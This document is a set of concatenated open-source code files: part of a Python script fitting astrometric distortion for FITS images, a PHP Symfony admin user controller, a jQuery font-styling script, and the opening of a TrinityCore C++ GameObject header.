'.cat' appendPix = readCat(catName) #problems appendCal = world2pix(tfile[:-5]+'_offCal_rotCal.fits',nlist['calibratedStar']) ''' try: self.pix = self.pix.tolist() self.calpix = self.calpix.tolist() except: pass for coor in appendPix.tolist(): self.pix.append(coor) self.pix = np.array(self.pix) for coor in appendCal: self.calpix.append(coor) self.calpix = np.array(self.calpix) imageList = pyfits.open(openName) header = imageList[0].header #residual of least squares for using leastsq function def residuals(p,y,x1,x2): err = y - poly2(p,x1,x2) return err ''' def polyTPV(p,x1,x2): PV1_0,PV1_1,PV1_2,PV1_3,PV1_4,PV1_5,PV1_6,PV1_7,PV1_8,PV1_9,PV1_10,PV1_11 = p r = np.sqrt(x1**2+x2**2) y = PV1_0 + PV1_1*x1 + PV1_2*x2 + PV1_3 * r + PV1_4*x1**2 + PV1_5*x1*x2 + PV1_6*x2**2 + PV1_7*x1**3 + PV1_8*x1**2*x2 + PV1_9*x1*x2**2 + PV1_10*x2**3 + PV1_11*r**3 return y def residualsTPV(p,y,x1,x2): err = y - polyTPV(p,x1,x2) return err ''' #initialize starting parameters, IT MATTERS WHERE IT STARTS!! CHOOSE A SMALL NUMBER FOR TPV (0.000001) p0 = [0.00000001]*9 x1ref = header['CRPIX1'] x2ref = header['CRPIX2'] xref = np.array([x1ref,x2ref]) self.calpix = np.array(self.calpix) self.pix = np.array(self.pix) dtor = self.calpix - self.pix y1meas = np.array([no for no in (dtor[cr][0] for cr in range(len(dtor)))]) x2 = np.array([(no-x2ref) for no in (self.pix[cr][1] for cr in range(len(self.pix)))]) y2meas = np.array([no for no in (dtor[cr][1] for cr in range(len(dtor)))]) x1 = np.array([(no-x1ref) for no in (self.pix[cr][0] for cr in range(len(self.pix)))]) ''' #initialize CD matrix CD11 = header['CD1_1'] CD12 = header['CD1_2'] CD21 = header['CD2_1'] CD22 = header['CD2_2'] CD = np.matrix([[CD11,CD12],[CD21,CD22]]) interCal = [] interPix = [] for cal in self.calpix: #convert into coordinate relative to the reference coorindate since CD matrix acts on this space cal = np.array(cal) - xref product = np.dot(CD,cal) #convert a matrix class(in this case, a 2x1 vector) into a list product = product.tolist()[0] interCal.append(product) for pix in self.pix: pix = np.array(pix) - xref product = np.dot(CD,pix) product = product.tolist()[0] interPix.append(product) x1 = np.array([no for no in (interPix[cr][0] for cr in range(len(interPix)))]) x2 = np.array([no for no in (interPix[cr][1] for cr in range(len(interPix)))]) y1meas = [cal for cal in (interCal[cr][0] for cr in range(len(interCal)))] y2meas = [cal for cal in (interCal[cr][1] for cr in range(len(interCal)))] ''' print 'calculating distortion parameters...' dt1,junk1,infoDict,junk2,junk3 = leastsq(residuals,p0,args=(y1meas,x1,x2),full_output=True) #REMEMBER TO CHANGE THE ORDER OF X1 AND X2 WHEN SWITCH FROM SIP TO TPV!!!!!!IMPORTATNT!!!!!! dt2,junk1,infoDict,junk2,junk3 = leastsq(residuals,p0,args=(y2meas,x1,x2),full_output=True) #conventions used in SIP, do not change this coeffList = ['10','01','20','02','11','21','12','30','03'] #save the parameter file (everything saved will have suffix .npz added automatically) psaveName = self.caldir + 'params' try: os.remove(psaveName) except: pass #This saves the distortion parameters in 'params.npz' which can be reused later np.savez(psaveName,dt1=dt1,dt2=dt2,xref=xref,coeffList=coeffList) #update the header of every fits images provided saveName = self.caldir + self.fitsImageName[:-5]+'_allCal.fits' coeffUpdate(saveName,openName,dt1,dt2,coeffList) for tfile in addFiles: coeffUpdate(self.caldir+tfile[:-5]+'_allCal.fits',self.caldir+tfile[:-5]+'_offCal_rotCal.fits',dt1,dt2,coeffList) ''' header.update('CTYPE1','RA---TPV') header.update('CTYPE2','DEC--TPV') for no in range(len(dt1[0])): keyword1 = 'PV1_%s' %(no) keyword2 = 'PV2_%s' %(no) key1 = dt1[0][no] key2 = dt2[0][no] header.update(keyword1,key1) header.update(keyword2,key2) ''' #apply coefficients to header if paramFile is provided if self.paramFile != None: distHeaderUpdate(openName,self.fitsImageName[:-5]+'_allCal.fits',self.paramFile) if __name__ == '__main__': #PSR06+14 coordinate #print convert([['6:59:49.587','+14:14:02.96']]) #SDSS J0651 #print convert([['6:51:33.338','+28:44:23.37']]) fitsTableName = 'test.fits' fitsImageName = '071023fix.fits' fitsCatalogName = 'test_image.fits' paramFile = 'params.npz' cal = StarCalibration(fitsImageName,fitsTableName,fitsCatalogName,manual=True,paramFile=None) cal.linCal() cal.distCal(addFiles=['100011fix.fits']) ''' fileList = glob('*fix.fits') paramFile = 'runRecord.txt' open(paramFile,'w').close() count = 0 startTime = time.time() for nfile in fileList: fitsTableName = 'test.fits' fitsImageName = nfile fitsCatalogName = 'test_image.fits' addFiles = [] print 'solving %s...' %(nfile) subStartTime = time.time() cal = starCalibration(fitsImageName,fitsTableName,fitsCatalogName) subEndTime = time.time() - subStartTime print 'done in %s seconds' %(subEndTime) elapsedTime = time.time()-startTime print 'Everything finised in %s seconds' %elapsedTime ''' ''' cal.offCal(polydeg='dist',addFiles=addFiles) #cal.rotCal(openName=fitsImageName[:-5] + '_offCal.fits') ''' ''' #iterative calibration of offCal and rotCal. For 071023.fits, it takes only 2 loops to converge. for a in range(20): addFilesIt = ['crab2_offCal_rotCal.fits','crab3_offCal_rotCal.fits'] addFilesIt = [] cal.offCal(CD=False,openName=fitsImageName[:-5] + '_offCal_rotCal.fits',polydeg='dist',addFiles = addFilesIt) for nfile in addFiles: ncal = starCalibration(nfile,fitsTableName,fitsCatalogName) ncal.rotCal(openName=nfile[0:5]+'_offCal.fits') cal.rotCal(openName=fitsImageName[:-5] + '_offCal.fits') addFiles = ['crab1.fits'] cal.distCal(addFiles=addFiles) '''
bmazin/ARCONS-pipeline
astrometry/guide-centroid/FitsAnalysis.py
Python
gpl-2.0
48,276
<?php /* * This file is part of the LightCMSUserBundle package. * * (c) Fulgurio <http://fulgurio.net> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Fulgurio\LightCMSUserBundle\Controller; use Fulgurio\LightCMSUserBundle\Entity\User; use Fulgurio\LightCMSUserBundle\Form\Handler\AdminUserHandler; use Fulgurio\LightCMSUserBundle\Form\Type\AdminUserType; use Symfony\Bundle\FrameworkBundle\Controller\Controller; use Symfony\Component\HttpKernel\Exception\NotFoundHttpException; use Symfony\Component\Security\Core\Exception\AccessDeniedException; /** * Controller managing users */ class AdminUserController extends Controller { /** * Users list */ public function listAction() { $this->checkConfiguration(); $filters = array(); $nbPerPage = 10; $request = $this->getRequest(); $page = $request->get('page') > 1 ? $request->get('page') - 1 : 0; $usersNb = $this->getDoctrine()->getRepository('FulgurioLightCMSUserBundle:User')->count($filters); $users = $this->getDoctrine()->getRepository('FulgurioLightCMSUserBundle:User')->findAllWithPagination($filters, $nbPerPage, $page * $nbPerPage); return $this->render('FulgurioLightCMSUserBundle:AdminUser:list.html.twig', array( 'users' => $users, 'nbUsers' => $usersNb, 'pageCount' => ceil($usersNb / $nbPerPage), 'current' => $page + 1, 'route' => 'AdminUsers', 'query' => array() )); } /** * Add new user */ public function addAction() { $this->checkConfiguration(); $user = new User(); return $this->createUser($user); } /** * Edit existing user * * @param number $userId */ public function editAction($userId) { $this->checkConfiguration(); $user = $this->getSpecifiedUser($userId); return $this->createUser($user); } /** * Create user form * * @param User $user * @return \Symfony\Component\HttpFoundation\Response */ private function createUser(User $user) { $options = array(); if ($user->getId() > 0) { $options['userId'] = $user->getId(); } $form = $this->createForm(new AdminUserType($this->container), $user); $formHandler = new AdminUserHandler( $form, $this->getRequest(), $this->getDoctrine(), $this->container->get('security.encoder_factory') ); if ($formHandler->process($user)) { $this->get('session')->getFlashBag()->add( 'success', $this->get('translator')->trans( isset($options['userId']) ? 'fulgurio.lightcms.users.edit_form.success_msg' : 'fulgurio.lightcms.users.add_form.success_msg', array(), 'admin' ) ); return $this->redirect($this->generateUrl('AdminUsers')); } $options['form'] = $form->createView(); return $this->render('FulgurioLightCMSUserBundle:AdminUser:add.html.twig', $options); } /** * Remove user, with confirm form * * @param number $userId */ public function removeAction($userId) { $this->checkConfiguration(); $user = $this->getSpecifiedUser($userId); if ($user->getId() == $this->getUser()->getId()) { throw new AccessDeniedException($this->get('translator')->trans('fulgurio.lightcms.users.current_user_deletion_error', array(), 'admin')); } $request = $this->getRequest(); if ($request->request->get('confirm') === 'yes') { $em = $this->getDoctrine()->getManager(); $em->remove($user); $em->flush(); $this->get('session')->getFlashBag()->add( 'success', $this->get('translator')->trans('fulgurio.lightcms.users.delete_success_message', array(), 'admin') ); return $this->redirect($this->generateUrl('AdminUsers')); } else if ($request->request->get('confirm') === 'no') { return $this->redirect($this->generateUrl('AdminUsers')); } $templateName = $request->isXmlHttpRequest() ? 'FulgurioLightCMSBundle::adminConfirmAjax.html.twig' : 'FulgurioLightCMSBundle::adminConfirm.html.twig'; return $this->render($templateName, array( 'action' => $this->generateUrl('AdminUsersRemove', array('userId' => $userId)), 'confirmationMessage' => $this->get('translator')->trans('fulgurio.lightcms.users.delete_confirm_message', array('%username%' => $user->getUsername()), 'admin'), )); } /** * Check if configuration allows users manager access * * @throws AccessDeniedException */ private function checkConfiguration() { $currentUser = $this->getUser(); if (get_class($currentUser) !== 'Fulgurio\LightCMSUserBundle\Entity\User') { throw new AccessDeniedException( $this->get('translator')->trans('fulgurio.lightcms.users.not_available', array(), 'admin') ); } } /** * Get user from given ID, and ckeck if it exists * * @param number $userId * @return Fulgurio\LightCMSUserBundle\Entity\User * @throws NotFoundHttpException */ private function getSpecifiedUser($userId) { if (!$user = $this->getDoctrine()->getRepository('FulgurioLightCMSUserBundle:User')->findOneBy(array('id' => $userId))) { throw new NotFoundHttpException( $this->get('translator')->trans('fulgurio.lightcms.users.not_found', array(), 'admin') ); } return $user; } }
fulgurio/LightCMSUserBundle
Controller/AdminUserController.php
PHP
gpl-2.0
6,085
// slideshow settings $(document).ready(function() { $('.slideshow').cycle({ fx: 'fade' // transition type : fade, scrollUp, shuffle, etc... }); }); $(document).ready( function() { Cufon.replace('.footer-one-third h2', { fontFamily: 'ColaborateLight', fontSize: '20px', color:'#cdb380' } ); Cufon.replace('.footer-one-third h3', { fontFamily: 'ColaborateLight', fontSize: '20px', color:'#cdb380' } ); }); $(document).ready( function() { Cufon.replace('#content h1', { fontFamily: 'ColaborateLight', fontSize: '40px', color:'#000000' } ); Cufon.replace('#content h2', { fontFamily: 'ColaborateLight', fontSize: '22px', color:'#000000' } ); Cufon.replace('#content h3', { fontFamily: 'ColaborateLight', fontSize: '18px', color:'#000000' } ); Cufon.replace('h3.post-title', { fontFamily: 'ColaborateLight', fontSize: '30px', color:'#000000' } ); Cufon.replace('h2.date-header', { fontFamily: 'ColaborateLight', fontSize: '10px', color:'#000000' } ); $('.rounded').corner(); $('#sidebar .widget').corner(); });
mandino/espressoshakespeare.com
js/custom.js
JavaScript
gpl-2.0
1,049
/* * Copyright (C) 2008-2014 TrinityCore <http://www.trinitycore.org/> * Copyright (C) 2005-2009 MaNGOS <http://getmangos.com/> * * This program is free software; you can redistribute it and/or modify it * under the terms of the GNU General Public License as published by the * Free Software Foundation; either version 2 of the License, or (at your * option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for * more details. * * You should have received a copy of the GNU General Public License along * with this program. If not, see <http://www.gnu.org/licenses/>. */ #ifndef TRINITYCORE_GAMEOBJECT_H #define TRINITYCORE_GAMEOBJECT_H #include "Common.h" #include "SharedDefines.h" #include "Unit.h" #include "Object.h" #include "LootMgr.h" #include "DatabaseEnv.h" class GameObjectAI; class Group; class Transport; #define MAX_GAMEOBJECT_QUEST_ITEMS 6 // from `gameobject_template` struct GameObjectTemplate { uint32 entry; uint32 type; uint32 displayId; std::string name; std::string IconName; std::string castBarCaption; std::string unk1; uint32 faction; uint32 flags; float size; uint32 questItems[MAX_GAMEOBJECT_QUEST_ITEMS]; union // different GO types have different data field { //0 GAMEOBJECT_TYPE_DOOR struct { uint32 startOpen; //0 used client side to determine GO_ACTIVATED means open/closed uint32 lockId; //1 -> Lock.dbc uint32 autoCloseTime; //2 secs till autoclose = autoCloseTime / 0x10000 uint32 noDamageImmune; //3 break opening whenever you recieve damage? uint32 openTextID; //4 can be used to replace castBarCaption? uint32 closeTextID; //5 uint32 ignoredByPathing; //6 } door; //1 GAMEOBJECT_TYPE_BUTTON struct { uint32 startOpen; //0 uint32 lockId; //1 -> Lock.dbc uint32 autoCloseTime; //2 secs till autoclose = autoCloseTime / 0x10000 uint32 linkedTrap; //3 uint32 noDamageImmune; //4 isBattlegroundObject uint32 large; //5 uint32 openTextID; //6 can be used to replace castBarCaption? uint32 closeTextID; //7 uint32 losOK; //8 } button; //2 GAMEOBJECT_TYPE_QUESTGIVER struct { uint32 lockId; //0 -> Lock.dbc uint32 questList; //1 uint32 pageMaterial; //2 uint32 gossipID; //3 uint32 customAnim; //4 uint32 noDamageImmune; //5 uint32 openTextID; //6 can be used to replace castBarCaption? uint32 losOK; //7 uint32 allowMounted; //8 Is usable while on mount/vehicle. (0/1) uint32 large; //9 } questgiver; //3 GAMEOBJECT_TYPE_CHEST struct { uint32 lockId; //0 -> Lock.dbc uint32 lootId; //1 uint32 chestRestockTime; //2 uint32 consumable; //3 uint32 minSuccessOpens; //4 Deprecated, pre 3.0 was used for mining nodes but since WotLK all mining nodes are usable once and grant all loot with a single use uint32 maxSuccessOpens; //5 Deprecated, pre 3.0 was used for mining nodes but since WotLK all mining nodes are usable once and grant all loot with a single use uint32 eventId; //6 lootedEvent uint32 linkedTrapId; //7 uint32 questId; //8 not used currently but store quest required for GO activation for player uint32 level; //9 uint32 losOK; //10 uint32 leaveLoot; //11 uint32 notInCombat; //12 uint32 logLoot; //13 uint32 openTextID; //14 can be used to replace castBarCaption? uint32 groupLootRules; //15 uint32 floatingTooltip; //16 } chest; //4 GAMEOBJECT_TYPE_BINDER - empty //5 GAMEOBJECT_TYPE_GENERIC struct { uint32 floatingTooltip; //0 uint32 highlight; //1 uint32 serverOnly; //2 uint32 large; //3 uint32 floatOnWater; //4 int32 questID; //5 } _generic; //6 GAMEOBJECT_TYPE_TRAP struct { uint32 lockId; //0 -> Lock.dbc uint32 level; //1 uint32 radius; //2 radius for trap activation uint32 spellId; //3 uint32 type; //4 0 trap with no despawn after cast. 1 trap despawns after cast. 2 bomb casts on spawn. uint32 cooldown; //5 time in secs int32 autoCloseTime; //6 uint32 startDelay; //7 uint32 serverOnly; //8 uint32 stealthed; //9 uint32 large; //10 uint32 invisible; //11 uint32 openTextID; //12 can be used to replace castBarCaption? uint32 closeTextID; //13 uint32 ignoreTotems; //14 } trap; //7 GAMEOBJECT_TYPE_CHAIR struct { uint32 slots; //0 uint32 height; //1 uint32 onlyCreatorUse; //2 uint32 triggeredEvent; //3 } chair; //8 GAMEOBJECT_TYPE_SPELL_FOCUS struct { uint32 focusId; //0 uint32 dist; //1 uint32 linkedTrapId; //2 uint32 serverOnly; //3 uint32 questID; //4 uint32 large; //5 uint32 floatingTooltip; //6 } spellFocus; //9 GAMEOBJECT_TYPE_TEXT struct { uint32 pageID; //0 uint32 language; //1 uint32 pageMaterial; //2 uint32 allowMounted; //3 Is usable while on mount/vehicle. (0/1) } text; //10 GAMEOBJECT_TYPE_GOOBER struct { uint32 lockId; //0 -> Lock.dbc int32 questId; //1 uint32 eventId; //2 uint32 autoCloseTime; //3 uint32 customAnim; //4 uint32 consumable; //5 uint32 cooldown; //6 uint32 pageId; //7 uint32 language; //8 uint32 pageMaterial; //9 uint32 spellId; //10 uint32 noDamageImmune; //11 uint32 linkedTrapId; //12 uint32 large; //13 uint32 openTextID; //14 can be used to replace castBarCaption? uint32 closeTextID; //15 uint32 losOK; //16 isBattlegroundObject uint32 allowMounted; //17 Is usable while on mount/vehicle. (0/1) uint32 floatingTooltip; //18 uint32 gossipID; //19 uint32 WorldStateSetsState; //20 } goober; //11 GAMEOBJECT_TYPE_TRANSPORT struct { uint32 pause; //0 uint32 startOpen; //1 uint32 autoCloseTime; //2 secs till autoclose = autoCloseTime / 0x10000 uint32 pause1EventID; //3 uint32 pause2EventID; //4 } transport; //12 GAMEOBJECT_TYPE_AREADAMAGE struct { uint32 lockId; //0 uint32 radius; //1 uint32 damageMin; //2 uint32 damageMax; //3 uint32 damageSchool; //4 uint32 autoCloseTime; //5 secs till autoclose = autoCloseTime / 0x10000 uint32 openTextID; //6 uint32 closeTextID; //7 } areadamage; //13 GAMEOBJECT_TYPE_CAMERA struct { uint32 lockId; //0 -> Lock.dbc uint32 cinematicId; //1 uint32 eventID; //2 uint32 openTextID; //3 can be used to replace castBarCaption? } camera; //14 GAMEOBJECT_TYPE_MAPOBJECT - empty //15 GAMEOBJECT_TYPE_MO_TRANSPORT struct { uint32 taxiPathId; //0 uint32 moveSpeed; //1 uint32 accelRate; //2 uint32 startEventID; //3 uint32 stopEventID; //4 uint32 transportPhysics; //5 uint32 mapID; //6 uint32 worldState1; //7 uint32 canBeStopped; //8 } moTransport; //16 GAMEOBJECT_TYPE_DUELFLAG - empty //17 GAMEOBJECT_TYPE_FISHINGNODE - empty //18 GAMEOBJECT_TYPE_SUMMONING_RITUAL struct { uint32 reqParticipants; //0 uint32 spellId; //1 uint32 animSpell; //2 uint32 ritualPersistent; //3 uint32 casterTargetSpell; //4 uint32 casterTargetSpellTargets; //5 uint32 castersGrouped; //6 uint32 ritualNoTargetCheck; //7 } summoningRitual; //19 GAMEOBJECT_TYPE_MAILBOX - empty //20 GAMEOBJECT_TYPE_DONOTUSE - empty //21 GAMEOBJECT_TYPE_GUARDPOST struct { uint32 creatureID; //0 uint32 charges; //1 } guardpost; //22 GAMEOBJECT_TYPE_SPELLCASTER struct { uint32 spellId; //0 uint32 charges; //1 uint32 partyOnly; //2 uint32 allowMounted; //3 Is usable while on mount/vehicle. (0/1) uint32 large; //4 } spellcaster; //23 GAMEOBJECT_TYPE_MEETINGSTONE struct { uint32 minLevel; //0 uint32 maxLevel; //1 uint32 areaID; //2 } meetingstone; //24 GAMEOBJECT_TYPE_FLAGSTAND struct { uint32 lockId; //0 uint32 pickupSpell; //1 uint32 radius; //2 uint32 returnAura; //3 uint32 returnSpell; //4 uint32 noDamageImmune; //5 uint32 openTextID; //6 uint32 losOK; //7 } flagstand; //25 GAMEOBJECT_TYPE_FISHINGHOLE struct { uint32 radius; //0 how close bobber must land for sending loot uint32 lootId; //1 uint32 minSuccessOpens; //2 uint32 maxSuccessOpens; //3 uint32 lockId; //4 -> Lock.dbc; possibly 1628 for all? } fishinghole; //26 GAMEOBJECT_TYPE_FLAGDROP struct { uint32 lockId; //0 uint32 eventID; //1 uint32 pickupSpell; //2 uint32 noDamageImmune; //3 uint32 openTextID; //4 } flagdrop; //27 GAMEOBJECT_TYPE_MINI_GAME struct { uint32 gameType; //0 } miniGame; //29 GAMEOBJECT_TYPE_CAPTURE_POINT struct { uint32 radius; //0 uint32 spell; //1 uint32 worldState1; //2 uint32 worldstate2; //3 uint32 winEventID1; //4 uint32 winEventID2; //5 uint32 contestedEventID1; //6 uint32 contestedEventID2; //7 uint32 progressEventID1; //8 uint32 progressEventID2; //9 uint32 neutralEventID1; //10 uint32 neutralEventID2; //11 uint32 neutralPercent; //12 uint32 worldstate3; //13 uint32 minSuperiority; //14 uint32 maxSuperiority; //15 uint32 minTime; //16 uint32 maxTime; //17 uint32 large; //18 uint32 highlight; //19 uint32 startingValue; //20 uint32 unidirectional; //21 } capturePoint; //30 GAMEOBJECT_TYPE_AURA_GENERATOR struct { uint32 startOpen; //0 uint32 radius; //1 uint32 auraID1; //2 uint32 conditionID1; //3 uint32 auraID2; //4 uint32 conditionID2; //5 uint32 serverOnly; //6 } auraGenerator; //31 GAMEOBJECT_TYPE_DUNGEON_DIFFICULTY struct { uint32 mapID; //0 uint32 difficulty; //1 } dungeonDifficulty; //32 GAMEOBJECT_TYPE_BARBER_CHAIR struct { uint32 chairheight; //0 uint32 heightOffset; //1 } barberChair; //33 GAMEOBJECT_TYPE_DESTRUCTIBLE_BUILDING struct { uint32 intactNumHits; //0 uint32 creditProxyCreature; //1 uint32 state1Name; //2 uint32 intactEvent; //3 uint32 damagedDisplayId; //4 uint32 damagedNumHits; //5 uint32 empty3; //6 uint32 empty4; //7 uint32 empty5; //8 uint32 damagedEvent; //9 uint32 destroyedDisplayId; //10 uint32 empty7; //11 uint32 empty8; //12 uint32 empty9; //13 uint32 destroyedEvent; //14 uint32 empty10; //15 uint32 debuildingTimeSecs; //16 uint32 empty11; //17 uint32 destructibleData; //18 uint32 rebuildingEvent; //19 uint32 empty12; //20 uint32 empty13; //21 uint32 damageEvent; //22 uint32 empty14; //23 } building; //34 GAMEOBJECT_TYPE_GUILDBANK - empty //35 GAMEOBJECT_TYPE_TRAPDOOR struct { uint32 whenToPause; // 0 uint32 startOpen; // 1 uint32 autoClose; // 2 } trapDoor; // not use for specific field access (only for output with loop by all filed), also this determinate max union size struct { uint32 data[MAX_GAMEOBJECT_DATA]; } raw; }; std::string AIName; uint32 ScriptId; // helpers bool IsDespawnAtAction() const { switch (type) { case GAMEOBJECT_TYPE_CHEST: return chest.consumable; case GAMEOBJECT_TYPE_GOOBER: return goober.consumable; default: return false; } } bool IsUsableMounted() const { switch (type) { case GAMEOBJECT_TYPE_QUESTGIVER: return questgiver.allowMounted; case GAMEOBJECT_TYPE_TEXT: return text.allowMounted; case GAMEOBJECT_TYPE_GOOBER: return goober.allowMounted; case GAMEOBJECT_TYPE_SPELLCASTER: return spellcaster.allowMounted; default: return false; } } uint32 GetLockId() const { switch (type) { case GAMEOBJECT_TYPE_DOOR: return door.lockId; case GAMEOBJECT_TYPE_BUTTON: return button.lockId; case GAMEOBJECT_TYPE_QUESTGIVER: return questgiver.lockId; case GAMEOBJECT_TYPE_CHEST: return chest.lockId; case GAMEOBJECT_TYPE_TRAP: return trap.lockId; case GAMEOBJECT_TYPE_GOOBER: return goober.lockId; case GAMEOBJECT_TYPE_AREADAMAGE: return areadamage.lockId; case GAMEOBJECT_TYPE_CAMERA: return camera.lockId; case GAMEOBJECT_TYPE_FLAGSTAND: return flagstand.lockId; case GAMEOBJECT_TYPE_FISHINGHOLE:return fishinghole.lockId; case GAMEOBJECT_TYPE_FLAGDROP: return flagdrop.lockId; default: return 0; } } bool GetDespawnPossibility() const // despawn at targeting of cast? { switch (type) { case GAMEOBJECT_TYPE_DOOR: return door.noDamageImmune; case GAMEOBJECT_TYPE_BUTTON: return button.noDamageImmune; case GAMEOBJECT_TYPE_QUESTGIVER: return questgiver.noDamageImmune; case GAMEOBJECT_TYPE_GOOBER: return goober.noDamageImmune; case GAMEOBJECT_TYPE_FLAGSTAND: return flagstand.noDamageImmune; case GAMEOBJECT_TYPE_FLAGDROP: return flagdrop.noDamageImmune; default: return true; } } uint32 GetCharges() const // despawn at uses amount { switch (type) { //case GAMEOBJECT_TYPE_TRAP: return trap.charges; case GAMEOBJECT_TYPE_GUARDPOST: return guardpost.charges; case GAMEOBJECT_TYPE_SPELLCASTER: return spellcaster.charges; default: return 0; } } uint32 GetLinkedGameObjectEntry() const { switch (type) { case GAMEOBJECT_TYPE_CHEST: return chest.linkedTrapId; case GAMEOBJECT_TYPE_SPELL_FOCUS: return spellFocus.linkedTrapId; case GAMEOBJECT_TYPE_GOOBER: return goober.linkedTrapId; default: return 0; } } uint32 GetAutoCloseTime() const { uint32 autoCloseTime = 0; switch (type) { case GAMEOBJECT_TYPE_DOOR: autoCloseTime = door.autoCloseTime; break; case GAMEOBJECT_TYPE_BUTTON: autoCloseTime = button.autoCloseTime; break; case GAMEOBJECT_TYPE_TRAP: autoCloseTime = trap.autoCloseTime; break; case GAMEOBJECT_TYPE_GOOBER: autoCloseTime = goober.autoCloseTime; break; case GAMEOBJECT_TYPE_TRANSPORT: autoCloseTime = transport.autoCloseTime; break; case GAMEOBJECT_TYPE_AREADAMAGE: autoCloseTime = areadamage.autoCloseTime; break; default: break; } return autoCloseTime / IN_MILLISECONDS; // prior to 3.0.3, conversion was / 0x10000; } uint32 GetLootId() const { switch (type) { case GAMEOBJECT_TYPE_CHEST: return chest.lootId; case GAMEOBJECT_TYPE_FISHINGHOLE: return fishinghole.lootId; default: return 0; } } uint32 GetGossipMenuId() const { switch (type) { case GAMEOBJECT_TYPE_QUESTGIVER: return questgiver.gossipID; case GAMEOBJECT_TYPE_GOOBER: return goober.gossipID; default: return 0; } } uint32 GetEventScriptId() const { switch (type) { case GAMEOBJECT_TYPE_GOOBER: return goober.eventId; case GAMEOBJECT_TYPE_CHEST: return chest.eventId; case GAMEOBJECT_TYPE_CAMERA: return camera.eventID; default: return 0; } } uint32 GetCooldown() const // Cooldown preventing goober and traps to cast spell { switch (type) { case GAMEOBJECT_TYPE_TRAP: return trap.cooldown; case GAMEOBJECT_TYPE_GOOBER: return goober.cooldown; default: return 0; } } }; // Benchmarked: Faster than std::map (insert/find) typedef UNORDERED_MAP<uint32, GameObjectTemplate> GameObjectTemplateContainer; class OPvPCapturePoint; struct TransportAnimation; union GameObjectValue { //11 GAMEOBJECT_TYPE_TRANSPORT struct { uint32 PathProgress; TransportAnimation const* AnimationInfo; uint32 CurrentSeg; } Transport; //25 GAMEOBJECT_TYPE_FISHINGHOLE struct { uint32 MaxOpens; } FishingHole; //29 GAMEOBJECT_TYPE_CAPTURE_POINT struct { OPvPCapturePoint *OPvPObj; } CapturePoint; //33 GAMEOBJECT_TYPE_DESTRUCTIBLE_BUILDING struct { uint32 Health; uint32 MaxHealth; } Building; }; struct GameObjectLocale { StringVector Name; StringVector CastBarCaption; }; // client side GO show states enum GOState { GO_STATE_ACTIVE = 0, // show in world as used and not reset (closed door open) GO_STATE_READY = 1, // show in world as ready (closed door close) GO_STATE_ACTIVE_ALTERNATIVE = 2 // show in world as used in alt way and not reset (closed door open by cannon fire) }; #define MAX_GO_STATE 3 // from `gameobject` struct GameObjectData { explicit GameObjectData() : id(0), mapid(0), phaseMask(0), posX(0.0f), posY(0.0f), posZ(0.0f), orientation(0.0f), rotation0(0.0f), rotation1(0.0f), rotation2(0.0f), rotation3(0.0f), spawntimesecs(0), animprogress(0), go_state(GO_STATE_ACTIVE), spawnMask(0), artKit(0), dbData(true) { } uint32 id; // entry in gamobject_template uint16 mapid; uint32 phaseMask; float posX; float posY; float posZ; float orientation; float rotation0; float rotation1; float rotation2; float rotation3; int32 spawntimesecs; uint32 animprogress; GOState go_state; uint8 spawnMask; uint8 artKit; bool dbData; }; // For containers: [GO_NOT_READY]->GO_READY (close)->GO_ACTIVATED (open) ->GO_JUST_DEACTIVATED->GO_READY -> ... // For bobber: GO_NOT_READY ->GO_READY (close)->GO_ACTIVATED (open) ->GO_JUST_DEACTIVATED-><deleted> // For door(closed):[GO_NOT_READY]->GO_READY (close)->GO_ACTIVATED (open) ->GO_JUST_DEACTIVATED->GO_READY(close) -> ... // For door(open): [GO_NOT_READY]->GO_READY (open) ->GO_ACTIVATED (close)->GO_JUST_DEACTIVATED->GO_READY(open) -> ... enum LootState { GO_NOT_READY = 0, GO_READY, // can be ready but despawned, and then not possible activate until spawn GO_ACTIVATED, GO_JUST_DEACTIVATED }; class Unit; class GameObjectModel; // 5 sec for bobber catch #define FISHING_BOBBER_READY_TIME 5 class GameObject : public WorldObject, public GridObject<GameObject>, public MapObject { public: explicit GameObject(); ~GameObject(); void BuildValuesUpdate(uint8 updatetype, ByteBuffer* data, Player* target) const; void AddToWorld(); void RemoveFromWorld(); void CleanupsBeforeDelete(bool finalCleanup = true); bool Create(uint32 guidlow, uint32 name_id, Map* map, uint32 phaseMask, float x, float y, float z, float ang, float rotation0, float rotation1, float rotation2, float rotation3, uint32 animprogress, GOState go_state, uint32 artKit = 0); void Update(uint32 p_time); static GameObject* GetGameObject(WorldObject& object, uint64 guid); GameObjectTemplate const* GetGOInfo() const { return m_goInfo; } GameObjectData const* GetGOData() const { return m_goData; } GameObjectValue const* GetGOValue() const { return &m_goValue; } bool IsTransport() const; bool IsDynTransport() const; bool IsDestructibleBuilding() const; uint32 GetDBTableGUIDLow() const { return m_DBTableGuid; } void UpdateRotationFields(float rotation2 = 0.0f, float rotation3 = 0.0f); // overwrite WorldObject function for proper name localization std::string const& GetNameForLocaleIdx(LocaleConstant locale_idx) const; void SaveToDB(); void SaveToDB(uint32 mapid, uint8 spawnMask, uint32 phaseMask); bool LoadFromDB(uint32 guid, Map* map) { return LoadGameObjectFromDB(guid, map, false); } bool LoadGameObjectFromDB(uint32 guid, Map* map, bool addToMap = true); void DeleteFromDB(); void SetOwnerGUID(uint64 owner) { // Owner already found and different than expected owner - remove object from old owner if (owner && GetOwnerGUID() && GetOwnerGUID() != owner) { ASSERT(false); } m_spawnedByDefault = false; // all object with owner is despawned after delay SetUInt64Value(OBJECT_FIELD_CREATED_BY, owner); } uint64 GetOwnerGUID() const { return GetUInt64Value(OBJECT_FIELD_CREATED_BY); } Unit* GetOwner() const; void SetSpellId(uint32 id) { m_spawnedByDefault = false; // all summoned object is despawned after delay m_spellId = id; } uint32 GetSpellId() const { return m_spellId;} time_t GetRespawnTime() const { return m_respawnTime; } time_t GetRespawnTimeEx() const { time_t now = time(NULL); if (m_respawnTime > now) return m_respawnTime; else return now; } void SetRespawnTime(int32 respawn) { m_respawnTime = respawn > 0 ? time(NULL) + respawn : 0; m_respawnDelayTime = respawn > 0 ? respawn : 0; } void Respawn(); bool isSpawned() const { return m_respawnDelayTime == 0 || (m_respawnTime > 0 && !m_spawnedByDefault) || (m_respawnTime == 0 && m_spawnedByDefault); } bool isSpawnedByDefault() const { return m_spawnedByDefault; } void SetSpawnedByDefault(bool b) { m_spawnedByDefault = b; } uint32 GetRespawnDelay() const { return 